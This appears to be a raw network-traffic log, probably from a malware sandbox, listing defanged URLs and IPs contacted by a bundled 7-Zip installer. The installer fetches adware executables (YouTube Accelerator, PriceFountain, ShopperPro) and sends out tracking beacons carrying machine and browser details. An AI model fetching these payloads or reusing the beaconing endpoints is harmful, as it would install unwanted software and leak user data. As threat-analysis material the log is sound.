hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.1&utms=3&utmn=1177964131&utmhn=bi.bisrv.com&utme=8(sp_slug)9(youtubeaccelerator)&utmhid=2022498955&utmr=-&utmp=Install_Complete&utmht=1420692775010&utmac=UA-31676879-1&utmcc=__utma=1.1332783022.1420692710.1420692710.1420692710.1;+__utmz=1.1420692710.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~	173.194.113.196
hxxp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe	212.7.199.182
hxxp://d3bg798gjlk71j.cloudfront.net/yta33_sh_full.exe	54.230.45.195
hxxp://install-cdn.sourceapp.info/sd?is=sm	213.155.152.200
hxxp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://d1eebpovd478nh.cloudfront.net/mirror/pricefountain/default/setup.exe	54.192.47.104
hxxp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl	88.221.132.175
hxxp://q.pricejs.info/dealdo/event-report?type=quick&topic=suzan_instend&instgrp=20141204__1086__lnk_aromani_70&ver=1086&partner=somopf&channel=somopf&installId=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=f777ab7c-adac-458b-b198-2dc3ce7fa535&cb=851406&existingVer=&existingPartner=&existingChannel=&slug=pricefountain&default_browser=1&ieVer=31302e302e393230302e3136353231&firefoxVer=32392e302e312028656e2d555329&chromeVer=33352e302e313931362e313533&operaVer=&winVer=362e31&cmd=2f6d757365202f706172746e65723d736f6d6f7066&ieproc=0&ffproc=0&chproc=0	54.225.216.220
hxxp://www.youtubeaccelerator.com/img/youtube-accelerator-logo.png	107.20.238.80
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=wlkQ3WKgYpRPNjxRBLtb453nP6cJ9p2YjPtK5w/dU0Nep0NzDIMSG9DLqLHxLpkMub ZrrC FYd4ibS7Xw5g1/Eh6MhNwuPKYtlM6o Ldza8zhm7PCJPoTnyoq vkmpgx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2Kzb3V6O21GxuBMcUf8UemKAaLTBbHYTI	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPBPNjxRBLtb49RDbIMDlEm8/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/OEn77aY2R7O4gc8YM9gzsdaoPZj94HyTzprDiolRFccz/yeZN BbCCmF904v4t2DaVtcL0PMGkj3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn	54.192.46.233
hxxp://rep.shopper-pro.com/app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKcIe1clBNP5jNwK0vi9ZoWBC884p9KD0vQ6 NQxwZJY1sG0ShsAsHh6Xd9ppVOvbVdN0KG9cPd9hWoJO9kNY6KOUAB1raNOcILYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvUQzEfPR5H cZFYt96j8Hn3PgGUqUYly4OA=	54.197.238.106
hxxp://www.googleadservices.com/pagead/conversion.js	173.194.113.205
hxxp://rep.shopper-pro.com/app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKcIe1clBNP5jNwK0vi9ZoWBa50u3XyigpXfsjwfS9hqvGJ tgt1Qsz7I3wsN9Litx/yljm8sCR eIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVecSsxB9wO7GSp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnlj3TjUr89wfAHl6w3H159Q==	54.197.238.106
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=2&index_in_screen=1&index_in_session=2&0.43980376002090854	78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=priceless&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=1&index_in_screen=1&index_in_session=1&0.9554772668311194	78.138.127.15
hxxp://d2lci0er4bmjg2.cloudfront.net/mirror/pricefountain/default/setup.exe	54.230.44.254
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=25383020-30f5-408f-b983-88ab51edfcbf&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDI1MzgzMDIwLTMwZjUtNDA4Zi1iOTgzLTg4YWI1MWVkZmNiZiwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTc2JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1420692842&aff=JSsmtycl&ver=2.0.7791.1463	198.232.124.192
hxxp://installer.filebulldog.com/awfr7zip23772/7zip/8bcb66b22b13e545b4025cefa77c7e57?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://crl.verisign.com/pca3.crl	23.43.133.163
hxxp://i.sbitinjs.info/sbitin/javascript.js?hid=25383020-30f5-408f-b983-88ab51edfcbf&apptitle=ShopperPro&channel=iF18wJSsmtycl	207.244.65.146
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://q.pricejs.info/dealdo/event-report?instgrp=20141204__1086__lnk_aromani_70&rand=852077&opdom=pricejs.net&type=quick&topic=suzan_exestrt&partner=somopf&channel=somopf&ver=1086&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=f777ab7c-adac-458b-b198-2dc3ce7fa535	54.225.216.220
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.29407201139056976	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=M/g8cQcNP LMZ3T6XmWM0wuAkJnNLI4yjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsb GEwPiedNJBkBMfD9KDE9CUHeR8YCF3TW/Bv3nfoo7P/3jBALe7zPjH8lx78ea5bLCBXnZHg3MFPgOpImHIzeY4MKoaVft0VQACmRxohL5RUkFpWYMHLbBDB4Sx2r5en9lhu9AC b5gB9HtNG/bj5MeXOgdgqiSRTdZ1 o4SMpRARGoQnkwfaZrww1kYG 6ni/66BYs1ldcoel0PIOM3sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfQhLftAFivpY1mK/vypYWxqboyl6DWa 8c0w/ydqjcW7H9gaJpGIjE4=	54.192.46.233
hxxp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=3&index_in_screen=1&index_in_session=3&0.9637991849513476	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=3&index_in_screen=1&index_in_session=3&0.6907108293963664	78.138.127.15
hxxp://d2ly1rbvrtv0k6.cloudfront.net/affiliates/filesfrog/eula.html	54.192.46.149
hxxp://flex.msn.com/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js	207.46.194.8
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=XOxRKBm2zlx2gtIu55M0yr1yLlvxP1mX9c3fglOP5eOz6uevfqaymmuKg2XFbqUQvoXpSr3iMCtzVRIw0b4PP/CV4d3G7GmUPBFa8TQ 5Z19hZ5O6CQgZn5dMiu8MPG0U/h1UXRHlm Qiu5D5FEGqDVXbQPyTchD5RUOsZwXvURv3JbmM6qmcM8JTwZBXEaArZ2BLw79NpCFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aLQZeRNzdJ6xTTRQSGyUg0znjGnnHm/9mx5qFYbczN7Q37nFR8WA5LoRJLkeNvaR59jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5/FbCMRz6yfYrNvdXo7bUbDmXqQawsZSOUA7dl9owwhK/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDFnC5rkxALCzNmcnYmQ80HU=	54.197.238.106
hxxp://bi.bisrv.com/installer/ajax	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=657cd9m3NQFPNjxRBLtb48Mv3ZvOI2yo/WD6e6SZIIGq9exvwYRubwRSl12vCJvFj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PTXoMXpqBnYfUmclGtPsM1n12EELBUZsE1QAPEg9HAY/7i9yaZDVXNnKYX3Ti/i3YOWcmQ2qx PSIgI4Iz7fz4ZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w==	54.192.46.233
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=	23.43.139.27
hxxp://www.youtubeaccelerator.com/ConversionService/getScript.ashx?s=finish	107.20.238.80
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=Ka qOJkckoVPNjxRBLtb453nP6cJ9p2Y/WD6e6SZIIGq9exvwYRubwRSl12vCJvFj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PTXoMXpqBnYfUmclGtPsM1nyBfkdHFoABe6pljsVW0GPgTxIUcsgQ wXg4f2W/FIIe57fKBs7R9TyVbkDkM9cyX4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA==	54.192.46.233
hxxp://www.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE	107.20.238.80
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=s5Ydxb c7o0DbDSBvTK 4DEOJYAmH59VBBvtTcvyOOgDt2EUeZbtRaSm/NUmuZILaKig fkRtZL20T9ViFofsGUl0xzv/1Q1DyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3uoYeE0rOcJFt02cS7rp/akYFgXQio35rNOwiukyJDyINwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHxrxafBhAOP4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ==	54.192.46.233
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=1&index_in_screen=1&index_in_session=1&display_height=50&0.4864459881653822	78.138.127.15
hxxp://www.youtubeaccelerator.com/js/jquery-1.8.3.min.js	107.20.238.80
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1420692778&SBPIDS=1
hxxp://api.jollywallet.com/affiliate/client?dist=141&sub=iF18wJSsmtycl&name=ShopperPro	54.165.128.175
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=M/g8cQcNP LMZ3T6XmWM0wuAkJnNLI4yjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsb GEwPiedNJBkBMfD9KDE9CUHeR8YCF3hBbJg8F3GAAXonzCxckjkxAYdGcPvoXoxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg==	54.192.46.233
hxxp://flex.msn.com/mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900	207.46.194.8
hxxp://rep.shopper-pro.com/app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKe1hFEam MpmbONeuBglAqxQKd0GEgkaflVZ4RT0d23GHcO0aQLqLvPZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ9H39Z/JQDSULN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR3CV jqruKgNCn qX4FpTdffopz0y2Q7Y	54.197.238.106
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=2&index_in_screen=1&index_in_session=2&display_height=137&0.10294261059546283	78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=priceless&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=1&index_in_screen=1&index_in_session=1&0.558918752626719	78.138.127.15
hxxp://www.google-analytics.com/analytics.js	173.194.113.196
hxxp://dsba220j59f4d.cloudfront.net/sponsored/priceless/eula-priceless.html	54.192.47.104
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe	54.192.47.221
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QgW8pN5r26avTpvRFjYpwr1yLlvxP1mX8f9/KvgcVLP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P15TOfRX20Ju/fV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YOgqpFoRMZSCYnEK43tqK5p2skB4aC3ESGdgElvBjDHB8P rxL ch GZ0xm6mhNmOwAWodnV1HIBQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS3Iv8FQcjbNKTkXqnPQqJy67uq3lLNKHe03foinghiAeK/loHtJonJ80JqwRadIw1A==	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=yhrBLBbZM9WBOuidoZFbtc4CTydo2RkEzcFdShAqWbJ4E7mrr1h80jmXqQawsZSOUA7dl9owwhK/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDK6D6ypWzwyd lWLUtT/Ob84SfvtpjZHs7iBzxgz2DOxGplaxtKDMMacp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpCokPsAPLuaJCK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHAIttUHgTwN	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst5PNjxRBLtb41xlbi7ZOCjl/WD6e6SZIIExLHUkaU066zsPf/PibBcqj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PR0gYZFzD/Ro8FNKRKreUMO333RAvM0VMD2EmqgkTvADzP/J5k34FsIKYX3Ti/i3YNpW1wvQ8waSPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLNH39Z/JQDSULN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR9k3ly07joAI=	54.192.46.233
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk=	23.43.139.27
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUTz0zfD6NQ4eEwAaRG2pHiUPesst1ukiDjOJGv9qSLCFMXL1aGIyEdEE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtyL/BUHI2zSk5F6pz0Kicuu7qt5SzSh3tN36Ip4IYgHiv5aB7SaJyfNCasEWnSMNQ=	54.192.46.233
hxxp://www.bbc.com/	212.58.244.69
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=1&index_in_screen=1&index_in_session=1&0.7057303012055666	78.138.127.15
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=	93.184.220.29
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=AZwPyJy3TZhPNjxRBLtb41vjkqwJKtrI/WD6e6SZIIGq9exvwYRubwRSl12vCJvFj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PTXoMXpqBnYfUmclGtPsM1nj0N7bp/0QtSMiSqh15lmagBZGQjpShx/0JQd5HxgIXdMIzvZcoSLLyoK23Ar2s FqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1MMUHsuHCu4rKno8GnteDR/5XmqVNTeGVqFIpYhbjsGdgZYt2XdsqefHrVRFwpe/jQ==	54.192.46.233
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.1&utms=8&utmn=1155979209&utmhn=installer.filebulldog.com&utmhid=1850010787&utmr=-&utmp=Installer_Init&utmht=1420693023531&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	173.194.113.196
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst5PNjxRBLtb41xlbi7ZOCjl/WD6e6SZIIExLHUkaU066zsPf/PibBcqj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PR0gYZFzD/Ro8FNKRKreUMO333RAvM0VMDfE/ OuNytPyvTet81FAwHjgb6v7cXpPvFETdes9rP1NMG9E/tRz/bjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w==	54.192.46.233
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.1&utms=5&utmn=719051976&utmhn=installer.filebulldog.com&utmhid=1345620086&utmr=-&utmp=Installer_Init&utmht=1420692894104&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	173.194.113.196
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=1&index_in_screen=1&index_in_session=1&0.08816333805861742	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoX4r3S9aDbaOBPEhRyyBD7D0lOwqSwnORz0Z05yANjzcUdHLbi5Fo13kPWZgf7JA3sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfQhLftAFivpY1mK/vypYWxqboyl6DWa 8c0w/ydqjcW7H9gaJpGIjE4=	54.192.46.233
hxxp://d2cnb4m0nke2lh.cloudfront.net/jollywallet/resources/js/2/affiliate_client.js	54.230.46.46
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QgW8pN5r26avTpvRFjYpwr1yLlvxP1mX8f9/KvgcVLP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P15TOfRX20Ju/fV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YMSNngOvjpV1AJRbnguo3YM4m/vJXDvF2G8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfYQeWksviRUhT/yaEvCJV7Ux96BOH62W9/QWfLnCrtHlV21uVlG5yFmVQHvOEGgpnl6Yl8u4twhyqubh8j4cVtCSWJgKs4pazP1e4SKwQJ4O04skJa/Fex64i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA==	54.192.46.233
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=sourceapp_sem&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=3&index_in_screen=1&index_in_session=3&display_height=185&0.6875731650378127	78.138.127.15
hxxp://d3dle8xo1zpfnz.cloudfront.net/ytai.exe	54.230.46.64
hxxp://installer.filebulldog.com/installer/ajax	78.138.127.15
hxxp://rep.shopper-pro.com/app/ping.ashx?e=wlkQ3WKgYpT/HsUBn07KUs4CTydo2RkEWCPN432LaqaRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablBnsxRGYLsGfgtrTfhmT12vVAezdf3aKUSdvNRLeb/tYs4164GCUCrFoceVsKClDm0InYace3OQdd8zJZOZia4B/MCmMt8HPuvtm2x/E2lxmxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj R4bC28dP4Ks1ZCaZW5TJDB65GYQDzEPF1mlT9 7x7vkYuZe x/VfMmTADg95nKug8SfsOq8sVv	54.197.238.106
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=	23.43.139.27
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=siwKo8d7dVTMZ3T6XmWM0wpTfyz5LRIujA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIsSmeNQj6tyAEKNSXkoE/uV5jdI9NRwlB9s IILilpWF0zwh6 kBmZAgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS3Iv8FQcjbNKTkXqnPQqJy67uq3lLNKHe03foinghiAeK/loHtJonJ80JqwRadIw1A==	54.192.46.233
hxxp://www.youtubeaccelerator.com/googleanalytics.js	107.20.238.80
